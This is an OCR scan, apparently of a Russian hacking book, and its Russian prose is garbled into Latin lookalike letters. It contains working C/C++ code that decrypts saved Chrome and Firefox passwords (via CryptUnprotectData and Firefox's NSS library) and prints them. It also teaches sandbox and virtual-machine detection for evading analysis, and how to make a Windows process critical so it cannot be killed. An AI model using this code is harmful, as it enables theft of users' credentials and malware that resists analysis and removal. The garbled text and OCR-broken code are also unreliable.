DATA BLOB *pDataOut

):

if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, O,
&data_decrypt)) {

free (dt_blob);

sqlite3_blob close(sql_blob) ;

sqlite3_close(in db);
}

[Tocnie 3TOrO BBHIZENSEM MAMSATH M 3aMOJHSIEM MAacCUB passwds paCUJH(t)pOBaHHHMH JaH-
HbIMH!

passwds = ( char *)malloc(data_decrypt.cbData + 1);
memset (passwds, 0, data_decrypt.cbData);

int xi = 0;
while (xi < data_decrypt.cbData) ({
passwds [xi] = (char)data_decrypt.pbData[xi];
++X1i;
}
Cob6cTBeHHo, Ha 3ToM Bce! Ilocne atoro passwds Oynetr conepxkaTh Y4eTHbIE 3alUCH

nonp3opatened u URL. A urto genath ¢ 3Tol MHpOpMaLMeil — BBIBECTH €€ Ha SKpaH MU
COXPaHMUTH B (haiin U Kyaa-To ero oTrnpaBUTh — peluarh Tede.
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Firefox

[Mepexonum k Firefox. 1o GyneT HEMHOro cioxHee, HO Mbl Bce paBHO cripaBumcs! Jlis
Hayaja JaBail MOJNyYydM MyTb 10 6a3bl AaHHBIX naposieil. [loMHMIIb, B Hallel yHHBEp-
canbHOW ¢yHkimMu get_browser_path Mbl nepenaBanu mnapamerp browser family?
B cny4ae Chrome oH Gbin paBeH Hyo, a i Firefox nocraBum 1:

bool get browser path(char * db loc, int browser family, const char * location)

{

if (browser family == 1) {
memset (db_loc, 0, MAX PATH);
if (!SUCCEEDED (SHGetFolderPath (NULL, CSIDL LOCAL APPDATA, NULL, O,
db_loc))) A

// return 0;

}

B cnyuyae ¢ Firefox mbl He cmoxeM, kak B Chrome, cpasy yka3arh myTh 10 Manku MoJib-
3oBarens. J[eno B TOM, YTO MM MAaIKH MOJIb30BATEIBCKOTO MPOQHIIS TeHepUpyeTcs Ciy-
yaifHo. Ho 310 epyHnoBas nperpana, Bep Mbl 3HaeM Haudano myTu: \\Mozilla\\Firefox\\
Profiles\\. JfJoctaTouHO MOKMCKAaTh B HEM OOBEKT «IMAarnka» W MPOBEPHTh HAIWYHME B HEM
¢aiina \\logins.json. UMeHHO B 3TOM (haiine XpaHATCS MHTEpECYIOLIME HAC TaHHBIE JIOTH-
HOB U napoJieii. Pasymeercs, B 3amndpoBanHoM Buze. Peannsyem Bce 310 B Koz€:

lstrcat (db_loc, TEXT (location));

// OBbABIAEM MNEepEeMEeHHbE

const char * profileName = "";
WIN32 FIND DATA w_find data;
const char * db path = db loc;

// Co3maeMm macky mia nomcka ¢yHkuver FindFirstFile
lstrcat ((LPSTR)db_path, TEXT("*"));

// TlpocMaTpuBaeM, Hac MHTepecyeT OOGBeKT C aTpmbyTom FILE ATTRIBUTE DIRECTORY
HANDLE gotcha = FindFirstFile(db path, &w find data);

while (FindNextFile(gotcha, &w _find data) != 0){
if (w_find data.dwFileAttributes & FILE ATTRIBUTE DIRECTORY) {

if (strlen(w_find data.cFileName) > 2) ({

profileName = w_find data.cFileName;

}
// Y6upaem 3BE3IOUKY :)
db loc[strlen(db loc) - 1] = "\0';

lstrcat (db_loc, profileName);
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// HakoHell, MnojydaeM HyXHBI1 HaM [IyTb
lstrcat(db_loc, "\\logins.json");

return 1;

B camom koHue nepemenHas db_loc, koTopyto Mbl nepeaBajii B KayeCTBE aprymMeHTa
B Hauly (yHKLHIO, COAEPIKUT MOJHbIH MyTh /10 (aiina logins.json, a GpyHKUMS BO3Bpalla-
eT 1, curHanu3upys 0 TOM, 4TO OHa 0TpadoTana KOPPEKTHO.

Teneps nonyunm xenu1 daiina naponei W BbICIUM NaMATh MOA JaHHble. [ nomyude-
HUA XeH[u1a ucnosb3yem gyHkumio CreateFile, kak coetyer MSDN:

DWORD read bytes = 8192;
DWORD lp read bytes;

char *buffer = (char *)malloc (read bytes);
HANDLE db file login = CreateFileA(original db location,
GENERIC READ,
FILE SHARE READ|FILE SHARE WRITE|FILE SHARE DELETE,
NULL, OPEN ALWAYS,
FILE ATTRIBUTE NORMAL,
NULL) ;

ReadFile(db file login, buffer, read bytes, &lp read bytes, NULL);

Bce roroBo, Ho B ciyuae ¢ Firefox Bce He OyzeT Tak mpocto, kak ¢ Chrome, — mbl He
CMOKEM TPOCTO TMOJYYHUTh HyKHBIE JaHHble 00bi4HbIM 3anipocoM SELECT, na u mud-
pOBaHWe HE OrpaHUYMBAETCS OHOM-eIMHCTBEHHOM QyHkIMel WinAPL

Network Security Services (NSS)

Bpaysep Firefox aktueHo ucnonbsyer ¢yukimu Network Security Services (https:/
/developer.mozilla.org/ru/docs/NSS) st peanusauun wWH(poBaHus cBoed Oasbl.
OTH (QYyHKUMH HaxOAsTCs B JMHAMHUYECKOH OuOiMoTEKe, KOTOpas JIEKHMT IO ajapecy
C:\Program Files\Mozilla Firefox\nss3.dll.

Bce unTepecytouume Hac GyHKIMKM Ham nipuaetcs noiayuuth w3 stoi DLL. Caenats 310
MOHO CTaHJapTHbIM 00pasom, npu nomoiuy LoadLibrary\GetProcAdress. Koa onHo-
00pa3sHblii ¥ GOJIBIIOI, TTOITOMY 5l IPOCTO MPHUBEY CIMHCOK (DYHKLHMH, KOTOPbIE HaM IO-
Haao0sTCs:

O NSS_Init;

O PL_Base64Decode;

O PKI11SDR_Decrypt;

O PK11_Authenticate;

O PKI11_GetlnternalKeySlot;
O PKI11_FreeSlot.
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310 PyHKUMM MHULMATU3aUMK MexaHu3Ma NSS u pacuudpoBku JaHHbIX. [laBait Harmu-
uieM QyHKUMIO paciiMpoBkH, oHa HeGonbuiag. Sl 1o6aBiI0 KOMMEHTapUH, YTOOBI BCe
OBLIO MOHATHO:

char * data uncrypt (std::string pass_str) {
// OBBABISEeM NepeMeHHHEe
SECItem crypt;
SECItem decrypt;
PK1llSlotInfo *slot_info;

// BrimendeM naMmsaTb OIS HauMX HaHHBIX

char *char dest = (char *)malloc(8192);
memset (char_dest, NULL, 8192);

crypt.data = (unsigned char *)malloc(8192);
crypt.len = 8192;

memset (crypt.data, NULL, 8192);

// HenocpencreeHHO pacumbpoBka OyHKUMsaM NSS

PL Base64Decode (pass_str.c_str(), pass_str.size(), char_dest);
memcpy (crypt.data, char dest, 8192);

slot_info = PK1ll GetInternalKeySlot();

PK11l Authenticate(slot_info, TRUE, NULL);

PK11SDR Decrypt (&crypt, &decrypt, NULL);

PK1l FreeSlot(slot_info);

// BrmeJISeM NaMaTh IS pacumM@pPOBaHHEIX HAHHBIX
char *value = (char *)malloc (decrypt.len);
value [decrypt.len] = 0;

memcpy (value, decrypt.data, decrypt.len);

return value;

}

Teneps octanock mapcuthb daiin logins.json 1 npuMeHaTh Haury QyHKLHIO pacidpoB-
ku. Jns kpaTkocTH Koza s Oyy UCHOIb30BaTh PEry iipHbIE€ BBIPAKEHHUSA U MX BO3MOXKHO-
ctu B C++ 11:

string decode data = buffer;

// OnpemesnseMm peryJsisSpKM IJsS CalTOB, JIOTMHOB M IapoJsien
regex user ("\"encryptedUsername\":\" ([*\"]+)\"");
regex passw("\"encryptedPassword\":\" ([*\"]1+)\"");
regex host ("\"hostname\":\" ([*\"]+)\"");

// OOBABMM MEPEMEHHYI U UTepaTop
smatch smch;
string::const_iterator pars(decode data.cbegin());
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// TlapcuMHT npy nomoup regex search, pacumdpoBKa OAHHEIX Hallei
// byuxumeir data uncrypt u BHBOL Ha SKpaH PacCUMPPOBAHHEX HaHHBIX
do {
printf("Site\t: $s", smch.str(l).c_str()):;
regex_ search(pars, decode data.cend(), smch, user);
printf("Login: %s", data_uncrypt (smch.str(1l)));

regex_search (pars, decode data.cend(), smch, passw);
printf("Pass: %s",data_uncrypt( smch.str(l)));

pars += smch.position() + smch.length();

} while (regex search(pars, decode data.cend(), smch, host));

3aknroyeHue

Msl pazobpanuchk, Kak XpaHATCS MapoSid B pasHbIX Opay3epax, M Y3HAIM, YTO HYXHO
nenarb, YToObl MX M3BI€Yb. MOXHO JIH 3aIUTUTHCA OT MOAOOHBIX METOIOB BOCCTAHOB-
JIeHUs COXpaHeHHbIX mnaponei? Jla, koHeuHo. Ecnu ycraHoBuTH B Opay3epe Mactep-
MapoJib, TO OH BBICTYIUT B Ka4eCTBE KPUNTOrpahMyeckoi conu Ui paciuugpoBku Oa3bl
JaHHBIX naposieii. be3 ee 3HaHWA BOCCTaHOBUTH JaHHBIE OyIEeT HEBO3MOXKHO.
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6. [leTeKT necovyHuuUbl.
Yuyumcsa onpepensite, paboraet nu
npunoxeHune B sandbox-usonauuu

Nik Zerof

MeToibl I€TEKTHPOBaHHs CaHIOOKCOB TaK ke BOCTPeOOBaHbI y pa3pabOTYMKOB 3alMT,
KaK M METO/bl aHTHOTJIQJIKK: €CITM TporpamMma paboTaeT B M30JIMPOBAHHOM cpene, 3TO
MOXKET 03Ha4aTh, YTO €€ MOBEJCHHUE XOTAT UCCIIENOBATh PEBEPCEPhl WJIM BUPYCHbIE aHa-
JIMTHKH, JTMO0 3TO O3HAYaeT, YTO Halla MporpamMMa M30JMpPOBaHA 3aLIMTHBIMU Cpe/ICTBa-
MM peleHuit internet security. Tak uiM uHaue, onpeneneHue Gpakra U30JIALUMA MPOrpam-
MBI — TI0JIE3HBIH HaBBIK, KOTOPBI MOMOraeT U pa3paboTyMKaM 3allHUT, U BUpMEHKepaMm.
B aTom pasnene s mokaxy, Kak pacrno3HaBaTh sandboX-H305LHMIO U 3aITycK MOA TUnep-
BU30PaMH Pa3HBIX THIIOB.

Sandbox (neco4Huua) — n3onuMpoBaHHaa NporpaMMHasi cpeaa, B KOTOpPoW 3aA4aeTCsa U KOH-
TponvpyeTcs Habop pecypcoB Ans 3anylieHHOW BHYTPU Hee nporpammbl. Kak npaeuno,
orpaHuumBatoTca M unbTpytoTcs BbidoBbl WINAPI, koTopble oTBevaloT 3a Aoctyn k obopy-
[OBaHMIO, NPOLIECCOPHBbIM SiApaM, onpeaeneHne pasmepa namsaTy, a Takke 4OCTyn K CeTu u
NPUBUNErMpOBaHHbIM CPEACTBAM OnepaumoHHON cucTembl. CeHABOKCUHT YacTo UCNonb3ay-
eTca AnA 3anycka HebesonacHoro Koaa v Ans aHanusa nporpamm.

MpoBepsiem 3anyuweHHblIe NpPoLecchl

Ecnu BUIBI MECOYHMII HAM MPHOIU3UTENIEHO M3BECTHBI, TO 3TO OOJIEYMT JE€TEKTHPOBa-
Hre. MOKHO MPOCTO MOMCKAaTh CaHAOOKCH B CIIMCKE BBHIMOMHSAIOLIMXCS MporueccoB. Jlis
3TOr0 KCMOJb3yeM (YHKLHMIO, KOTOpas MEepeyrciIuT Bce mpouecchl M onpeaenut PID
HYKHOTO 110 Ha3BaHHUIO:

DWORD getPIDproc (char * pProcName)

{
HANDLE pHandle = CreateToolhelp32Snapshot (TH32CS SNAPPROCESS, O0);

if (pHandle == NULL) return 0;

PROCESSENTRY32 ProcessEntry;

DWORD pid;

ProcessEntry.dwSize = sizeof (ProcessEntry) ;

bool Loop = Process32First (pHandle, &ProcessEntry);
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if (Loop == NULL) return 0;

while (Loop)
{

if (strstr(ProcessEntry.szExeFile, pProcName))
{
pid = ProcessEntry.th32ProcessID;
CloseHandle (pHandle) ;
return pid;
}
Loop = Process32Next (pHandle, &ProcessEntry);
}

return 0;

}

Hertekt necounwuiibl Comodo Internet Security:

if (getPIDproc ("cmdvirth.exe")) std::cout << "Comodo sandbox detected!\n";

[Mpouecc emdvirth.exe obecrieunBaer Buptyanusaimio B Comodo Internet Security. Io
TOMY K€ TIPUHLIMITY MOKHO 33J1eTeKTUTh MecouHuiyy Sandboxie:

if (getPIDproc ("SbieSvc.exe")) std::cout << "Sandboxie detected!\n";

A mymaro, yto npuHumn noHsTeH. Eciu npouece He Oyner HaineH, GyHkuus BepHer 0,
u ycnoue if He OyzeT BoinonHeHo. Takxke dyHkuus BepHeT 0, ecii BOZHUKHYT npo0iie-
MBI C MOJTy4eHHEM MEPBOro npoiiecca B cucteMHoM cHammoTe ¢yHkiueit Process32First
6o ¢ nosiydyeHuem camoro cHamuota gyHkiueii CreateToolhelp32Snapshot.

MpoBepsieMm NoaknO4YeHHbLIE MOAYIU
B HalleM afpecHOM MpoCTpaHCTBe

Hpyrasi uHTepecHas uaes — MPOCMOTPETb MOIK/IIOYEHHBIE MOIYJIW B aJPECHOM TMpO-
CTpaHCTBE Hallleil MporpaMMbl Ha MpeIMET U3BECTHBIX MOy el necounul. CaenaeM 3To
HanpsAMYIo U3 Hatrero npoiecca npu nomoid WinAPI-gpynkuuu GetModuleHandle:

BOOL checklLoadedDl1 (LPCWSTR pDllName)

{
HMODULE hD11l = GetModuleHandle (pDl1Name) ;
if (hD1l) return TRUE;

}

[TpoBepka Ha nmecoynuiy Comodo Internet Security:

if (checklLoadedDll (L"cmdvrt64.d11")) std::cout << "Comodo sandbox detected!\n";
Wnu nposepum Ha Sandboxie:

if (checkLoadedDll (L"sbiedll.d1l1l")) std::cout << "Sandboxie detected!\n";
®ynkuus GetModuleHandle() nposepsier Hannune DLL B agpecHOM NpOCTPaHCTBE BbI-

3bIBaroOLIero npouecca. Ecnu ¢yHKIMsS HE HAXOAUT MOAYJIb, TO BO3BpAILAET HOJIb, yCIIO-
BHE He cpabaThIBaeT.
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Y1o0Bbl y3HATh CMUCOK MOAKIIOYEHHBIX MOAYJIEH B CTOPOHHEM MpoLecce, HYXKHO TOy-
4YUTh ero XeHm1, Bei3BaB ¢pyHkuuo WinAPI OpenProcess, 3atem nepeuncinTh Bce Moj-
KJIFOYEeHHBbIe K mpoueccy Moayu ¢ nmoMoupio ¢yHkuud EnumProcessModules (B Hee
clielyeT mepeaaTh MOMy4eHHbIH XeHIUI) M, HaKOHeL, MOMyYUTh Ha3BaHWE MOMYJIA C TIO0-
mouipio pyHkurn WinAPI GetModuleFileNameEx.

Yenose4yeckuu hakTop

Yro menarte, eciM MBI HE 3HaeM JaXe NPUMEPHO, Kakas MMEHHO Mporpamma-necoyHHIa
Oyner ucnons3oBaHa? Hano cka3ate, uTo oyeHb ciioxkHO Ha 100% 3aneTekTuTh rpaMOTHO
HaMMCaHHYIO MECOYHMLLY, Beb OHa OyaeT paboTaTh Ha ypOBHE AApa, MOXET NpATaTh BCE
CBOM TPOLIECCHI, MOAKIFOUEHHbIE MOIYJIH, MOXET Jla)Ke CKpPbIBATh COOCTBEHHBIH JipaiiBep.
TexHUKH, KOTOpbIe OyayT NepedrciIeHbl Janee, s peKOMEHIYIO MCMOJIb30BaTh MO MPHH-
LIMITY SKCTIEPTHOM CHUCTEMBI JJIsl aHaJIu3a pe3yJsibTaToB: yeM Oounblue Oyner cpabaTbiBa-
HU, TeM OoJiee BEpOSTHO, YTO Mbl HAXOMMCS B M30IMPOBAHHOI cpene.

I[TepBbiii cnioco6 KOCBeHHOTO OOHapy>keHHs sandboX-M30NSLIMM OCHOBaH Ha YeJlOoBeYe-
CKOM TIOBeJIeHHMH. MBI JIOMycKaeM, YTO Tocje 3alycka Hallei MmporpamMMbl yKa3aTelb
MBILIH TEPEeMEIANICs, U €CITH 3TO MPOUCXOAMT, TO MOXKHO MPEANON0KHUTh, YTO MMECOYHH-
1a He ucnonbdyercs. CpaBHUM KOOPAMHATHI yKa3aTells 4epe3 HEKOTOPbI MPOMEKYTOK
BPEMEHH: eC/IM KOOPAMHATBI HE MEHSIOTCS, MOXHO CTaBMTh OAMH Oali B MoOJib3y TOTrO,
YTO HAC UCCIEIYIOT BHYTPH MECOUHHLIBI:

BOOL mouse motion /()

{

int count = 0;

POINT mouse coordinatel = {};
(¥

POINT mouse coordinate2
GetCursorPos (&mouse_coordinatel) ;
Sleep(1500) ;

GetCursorPos (&mouse_coordinate2) ;

if ((mouse coordinatel.x == mouse coordinate2.x) &&
(mouse coordinatel.y == mouse coordinate2.y))
+HCESUNE

GetCursorPos (&mouse coordinatel) ;
Sleep(1500);

GetCursorPos (&mouse_coordinate2) ;
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if ((mouse coordinatel.x == mouse coordinate2.x) &&
(mouse_coordinatel.y == mouse coordinate2.y))
++count;

if (count > 0) return TRUE;
else return FALSE;
}

B at0i1 dyHKUMM MBI GepeM 1Ba OTpe3Ka BPEMEHH 10 MOJATOPbI CEKYHIbI KaKABIN U, €CITH
B KaKOM-TO OTpe3Ke BpeMEHH He ObLIO MepeMelleHHs yKa3aTells MBbILIH, A€IaeM BbIBOJ,
YTO, CKOpE€ BCEro, BHIMOIHEHHE HAET Mo OAUTeTbHBIM B30POM H30JIMPOBAHHOM Cpe/ibl.

PEB | NumberOfProcessors

H3onupoBaHHbIe cpeabl 4acTO YCEKalOT YKCIO MPOLIECCOpPOB, YTOOBI HE 3aHATH BCE pe-
Cypchl KommnbloTepa. Hanpumep, necoyHuiia MO>KET 3MyJIMpOBaTh OJHOAAECPHBIH MpoLec-
cop. Ho Ha nBope 2018 ron, u maxke B MOOWJIBHBIX TaIpKETaX 3a4acTyIO MCIIOJIB3YIOTCS
«KaMHHU» C YEThIpbMS SIpaMH, TaK UYTO CMEJIO MOXKEM IIPOBEPSTH, CKOJIBKO SIEP MpoLec-
copa BUAMT Hauia nporpamma. Eciiu sapo Bcero oHo, TO 3TO NMOBOJ U1 MOJO3PEHHUH.

Kop nns apxurexypsl x64:

PULONG procNum = (PULONG) (__readgsqword (0x60) + 0xB8) ; // DWORD
NumberOfProcessors;

Jns x86:

PULONG procNum = (PULONG) (__readfsdword (0x30) + 0x64);  // DWORD
NumberOfProcessors;

Otot kox monyyaer comepkumoe mosis NumberOfProcessors u3 PEB (Process Envi-
ronment Block). Teneps nerko npoBepUTh YKCIIO MPOLIECCOPOB:

if (*procNum < 2) std::cout << "NumberOfProcessors == 1, may be sandboxed!\n";

BbisicHAeM pa3mep onepaTtMBHOW NaMsATH

Jpyroit noGouHblii MpU3HaK caHAO0KAa — 3TO MaJjloe KOJIMYECTBO ONEPATUBHOM MaMATH.
B Hamm aHu peako mMoxHO yBuaetbh [IK ¢ ogHuM-AByMs rurabaiitaMd OnepaTHBKH,
Terepb 3TO CKOpee HOpMailbHbI 00BeM Ui cMapThoHOB. BoT kak OyaeT BhINIANETH
peau3aiiys NpOBEpPKH:

BOOL check memory ()

{
MEMORYSTATUSEX mem stat = { 0 };

statex.dwLength = sizeof (mem stat);
GlobalMemoryStatusEx (&mem stat) ;

if (mem stat.ullTotalPhys < (1024LL * (1024LL * (1024LL * 1LL))))
return TRUE;

else return FALSE;
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NpoBepsieM cBOG6OAHOE MECTO

Maso mecrta Ha xecTkoM aucke? Bo3mMoxkHO, ¥ npaBja Bce 3a0MTO MoJ 3aBA3KY, HO €CTh
BEPOSITHOCTB TOTO, 4YTO 3TO OYEPEIHOHN NMPU3HAK NEeCOUHHLbl. B 3TOM npumMepe MbI nipen-
nosiaraem, 4yTo nmporpamma paboTaeTr B U30JIILIMH, €CJIU JOCTYNMHO MeHblie 30 ['Gaiir.

BOOL check freespace()

{
LPCWSTR lpDirectoryName = NULL;
ULARGE INTEGER lpTotalNumberOfBytes;

BOOL bStat = GetDiskFreeSpaceEx (lpDirectoryName, NULL,
&1lpTotalNumberOfBytes, NULL) ;

if (bStat)

{
if (lpTotalNumberOfBytes.QuadPart < (30ULL * (1024ULL * (1024ULL *
(1024ULL)))))

return TRUE;
else return FALSE;

NMpocTble TaMMUHI-aTaku

[TecouHuLbl 3a4acTyto BecbMa TpeOOBaTENbHbI K pecypcaM M HEPEeaKO CHIIbHO 3aMeis-
10T paboTy mporpaMmbl. Mbl MOXKEM HCNOJIB30BaTh TAHMUHI-aTaku U1 TOTO, YTOOBI MO-
HATh, MCTIOJB3YETCS IMYJIALMs 000pyIoBaHUS WK HeT. ONMH U3 BapHaHTOB — BBIMOJI-
HATb KaKOi-HUOYIb CUCTEMHbII BBI30B, KOTOpBI Ha YMCTOMW cucTeMe Oyner pabGoTaTh
MOMEHTaJIbHO, @ B SMYJIMPYEMOH cpejle 3aMelUleH M3-3a JpaiiBepa mecovHHibl. Eciu
pa3HMLa BeJHKA, TO MOXKHO MPEANOIOXKUTh, YTO HMCMONb3yeTcs necovHuua. Ha Takoi
TPIOK JIOBUTCSI, HarnpuMep, necoununa Sandboxie:

BOOL checkTimingl ()

{
unsigned _ int64 counterl, counter2, counter3;

int 1 = 0;

do

{
counterl =  rdtsc();
GetProcessHeap() ;
counter?2 = _ rdtsc();

CloseHandle (0) ;
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counter3 =  rdtsc();

// BaMmepsieM OTHOWeEHMe BpemeHu BrumosHeHus CloseHandle u GetProcessHeap ()
if ( ( LODWORD (counter3) - LODWORD (counter2) ) /
( LODWORD (counter2) - LODWORD (counterl) ) >= 10)
return TRUE;
} while (i = 0; i < 10; i++);

return FALSE;
}

OtHowenne Bpemenu BoinoiaHeHus GpyHkuuu CloseHandle u GetProcessHeap() nomxk-
HO ObITh Ok0sI0 1 K 10. Eciu oTHOWIEHHe MeHblile, /IelaeM BbIBOA O HAIMUMK (QUibTpa-
LIMH BbI30BOB B JIpaiiBepe MeCOYHHLIbI.

Takoke necoyHMLBI MOTYT ONTUMHU3UPOBATh TEUEHHE BPEMEHH — Harpumep, UrHOPHPO-
BaTh BbI30Bbl QYHKIMHU Sleep(). Ecnu caenath 3aMepbl BpeMEHH BBIMOJIHEHHS 110 BbI30Ba
Sleep() 1 nocie, TO Mbl 3TO YBHIUM:

BOOL check sleep()

{
// VHMUMamm3upyeM MNyCThe MeTKMU
DWORD counterStart = 0;

DWORD counterEnd = 0;
DWORD difference = 0;
counterStart = GetTickCount(); // 3acekaeMm Bpewms OO Bu3oBa Sleep():;

Sleep(100000); // Bacemaem Ha 100 cekyHnO
counterEnd = GetTickCount (); // IlpoBepseM BpeMs [OCJE BE30Ba

difference = counterEnd - counterStart; // CpaBHMBaeM BpEMEeHHHE MHTEPBAJIEI

if difference > 99000) // KoppeKTMpyeM Ha OOHY CEeKyHIy, IOIyCKas MNOTIPellHOCTb
return FALSE;

else return TRUE;

BbICTpbLIN OeTeKT rMnepBU3opoB

MBI paccMOTpenH AeTEeKTUPOBAaHHE W3BECTHBIX M HEM3BECTHBIX MPOrpaMM-NECOUHHULL, HO
HeJb3s JIM ONpeneNnuTh runepBuzop? 3mech HaMm nomoxeT WHCTpykuus _cpuid. OHa
3aMpaluuBaeT y npoueccopa ero TMn 1 GpyHKLIUH, KOTOopble OH noiepkuBaeT. Ha Bbixoze
MbI TOJTy4aeM 3aMoJHEHHYIO CTpykTypy cpulnfo, koTopas cocToMT W3 4eTblpex 4dMcel,
nepenaBaembix B peructpax npoueccopa EAX, EBX, ECX u EDX. Ha Bxoa HyxHO
noaate 4ucTyro cTpykrypy cpulnfo u uucno function_id, koTopoe roBoput xKomaHze,
Kakas MMEHHO MHpopMalus Hac uHTepecyeT. DyHKLMS MOLIEPKUBAET Kak X64-, Tak U
x86-apxutekTypbl. E€ MpoTOTHN BBIMISAANUT ClIEYIOLMM 00pa3om:
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void _ cpuid(

int cpulnfo(4],

int function id
)i
Ecnu nepenats uucno 1 B none function_id u nocmorpets, BbicTaBneH nu 31-it GuUT
B peructpe ECX crpykrypsl cpulnfo, TO MOXHO y3HaTh O MPUCYTCTBHM T'MIIEPBH30PA.
Hrak, xon:

BOOL check cpuid()
{
INT cpulnfo(4] = { -1 }; // O6wsBuseM cTPykTypy cpulnfo m mHMIMammsupyem ee

__cpuid(cpulnfo, 1); // 3anpaumBaeMm HaHHHE

if ((cpuInfo[2] >> 31) & 1)
return TRUE; // TlpoBepsieM HyxXHEIZ ©UMT B CTpykType cpulnfo
}

[ToMHUMO 3TOro, W3BECTHBIE T'MIIEPBU3OPBI NETEKTUPYIOTCH TaK K€, KaK M TEeCOYHHILIBI:
MOJXKHO MPOCTO MOCMOTPETh WX NMPOLIECCHl WIIM XapaKTepHble 3amucu B peectpe. JlaBaii
nonpobyem 3aneTekTuTh runepsusop Virtual PC npu nomoun ¢yHKIMH, KOTOPYIO MBI
Hanucany Boitie, — DWORD getPIDproc(char * pProcName). [Ipocto nepenaaum
B Hee UM HY)KHBIX NIPOLIECCOB, XapakTepHbIX s Virtual PC:

if (getPIDproc ("VMSrvc.exe") || getPIDproc("VMUSrvc.exe")) std::cout << "Virtual
PC detected!\n";

Tak >xe nerko Haiaem runepsusop Citrix Xen:
if (getPIDproc ("xenservice.exe")) std::cout << "Citrix Xen detected!\n";

Teneps MOCMOTPHM, KaK 3al€TEKTHTh THIEPBU30PbI O XapaKTEPHBIM 3alMCAM B peecT-
pe. J{ns sToro HanueM HeGONMbIIYIO (YHKIHMIO, KOTOpas MOMOXET HaM OMpPeeHUTh, YTO
nporpaMma ucnosHseTcs BHyTpu Wine:

BOOL check wine registry key()
{
HKEY phkResult = FALSE;

if (RegOpenKeyEx (HKEY CURRENT USER, T ("SOFTWARE\\Wine"), NULL, KEY READ,
&phkResult) == ERROR SUCCESS)

{
RegCloseKey (phkResult) ;
return TRUE;

bi

3aknoyeHue

Bot MbI 1 pazo6panu, Kak OnpeaesTh U3BECTHbIE H30TMPOBAHHbBIE CPEbl PA3HBIMHU CIIO-
cobaMu. DTO He Bce M3 BO3MOXHBIX METOZOB, HO OT TaKOro Habopa 3aroTOBOK MOXHO
Oyner OTTaaKMBaThCs, KOHCTPYMPYS CBOM METOMBI OMpe/ieNieH s (2 BO3MOXKHO, U 00X0/1a)
caHI0OKCHHTA.
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7. Yunmcsa cosgaBaTb
U NPUHYAUTENbHO 3aBepluaThb
KpuTU4HbIe npoueccbl B Windows

Nik Zerof

YacTe nmpoueccoB ONEpallMOHHON CUCTEMbl CUMTAIOTCS «KPUTHUHBIMM» — €CJIM 3aBEp-
LIMTh OAMH U3 HUX, Windows BbINazieT B CUHHUHM 3KpaH CMEPTH U Nepe3arpy3uTcs. JTUM
aKTUBHO MOJIb3YIOTCS BUPYCOMMCATENH: €CIHN ClleJIaTh CBOM MPOLIECC KPUTUYHBIM, TO €ro
Helb3s OyAeT 3aBeplIMTh MPOCTO Tak. B 3TOM pa3pmene s mokaxy, Kak CO3[aBaTh TakHe
NpOLIECCHl M Kak MpUOUBATh UX Oe3 MafgeHusi CUCTEMBI.

Jleno B TOM, 4TO XOPOIIO OPraHU30BaTh 3aLMTY MpPOLIECCca OT 3aBEPLUEHMS, KOrja IoJib-
30BaTelb paboTaeT Mo y4eTHOH 3anKChl0 aIMUHUCTPATOPa, NPAKTUYECKH HEBO3MOXKHO.
EcTb pa3Hble nmosyMepsl, HO Ha MOJHOLEHHYIO 3aLMTy OHHU He TAHYT. HanpuMep, MOKHO
UCMOJIb30BaTh JApaiBepbl pekUMa siipa, HO B 64-OMTHBIX OMNEpAaLIMOHHBIX CHUCTEMAaX He
Tak npocto npeoponets Mexanusm Kernel Patch Protection. OcTaetcs npuberaTs K Tpro-
KaM BpOJie TOro, KOTOpBIi MblI pa3bepem.

JaBaii mocMOTpUM, Kak CO3/1aTh KpPUTHYHBIN mpouecc B Windows, Kak NMpPOBEPHTH, YTO
NpoLiecC SBNSAETCA KPUTHUYHBIM, W KaK ero 3aBepuiuTh 0e3 mageHus cuctemsl B BSOD.
Ctporo roBops, co3naBath Mbl Oy/ieM He Npolecc, a KpUTHUHBIH NOTOK. Benp npouece
B Windows — 3T0 4TO-TO BpoJe KOHTeHHepa i MOTOKOB, B KOTOPBIX U BBIMOIHAETCS
KOZI.

Becb Koa, KOTOpLIV S NPUBOXY B 3TOM pasfesne, S HAaCTOATENbHO PEKOMEHAYI0 UCNOMHAThL
TOMbKO B BUPTyasibHOM MalluHe, NOTOMY YTO 3aBepLUeHUe KPUTUYECKOro npoLecca Bbi3oBeT
obliecucTemHbIn cboit M nageHune cuctembl B BSOD ¢ kogom CRITICAL_PROCESS_DIED
1 BO3MOXHOM MoTepeil AaHHbIX. Bce TecTbl A npoeoaun B VirtualBox Ha Windows 10 LTSB
x64 B Ka4yecTBe XxoCTa.

EcTb HECKONBKO METOIOB, KOTOpPbIe IOMOTYT HaM CO3JaTh KPUTHYHBIH mponecc. Bee onn
ocHOBaHbl Ha MaHumnyJsiukK BbizoBaMd NTAPI (Native Windows API), cambiMu «HU3KO-
YPOBHEBBIMH», KOTOPbIE MOXXHO BBINOJHUTh B PEXHME MOIb30BaTeNs. ITH (QyHKLMH
skcnoptupytorcs ntoskrnl.exe. Uepes o6eptky ntdll.dll Mb1 cMoxeM nomyuuTh MX aape-
Ca U BbI3BATh MX.
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RtiISetProcessisCritical

ITepBas ¢ynkuus Native APL, koTopas momMoxeT HamM MOMETUTH MPOLECC KaK KPUTHY-
Hblil, — 3TO RtlSetProcessIsCritical. Ee mpoTtoTun BeIrisiaAuT Tak:

NTSYSAPI
NTSTATUS
STDAPIVCALLTYPE
RtlSetProcessIsCritical (
IN BOOLEAN NewValue,
OUT PBOOLEAN OldValue OPTIONAL,
IN BOOLEAN CheckFlag
)i

Yro6bl 3Ta GyHKIMS cpaboTaia, nepe ee BbI30BOM HYXHO OyaeT MoJy4YuTh MPHUBHIETHIO
SeDebugPrivilege. 310 MoxHO cenaTh uepes «oObiuHbIe» hyHKUMH WinAPIL.

BOOL setPrivileges (LPCTSTR szPrivName)

{
TOKEN PRIVILEGES tp = { 0 };
HANDLE hToken = 0;

tp.PrivilegeCount = 1;
tp.Privileges([0].Attributes = SE_PRIVILEGE ENABLED;

if (!OpenProcessToken (GetCurrentProcess (), TOKEN ADJUST PRIVILEGES,
&hToken) )
std: :cout << "OpenProcessToken failed\n";

if (!LookupPrivilegeValue (NULL, szPrivName, &tp.Privileges[0].Luid))
std: :cout << "LookupPrivilegeValue failed\n";

if (!AdjustTokenPrivileges (hToken, FALSE, &tp, sizeof(tp), NULL, NULL))

{
std::cout << "AdjustTokenPrivileges failed\n";

CloseHandle (hToken) ;
return TRUE;

return FALSE;
}

BbizoB ¢pynkuuu s nonydenus SE_ DEBUG _NAME Oy ner Takum:
setPrivileges (SE_DEBUG NAME) ;

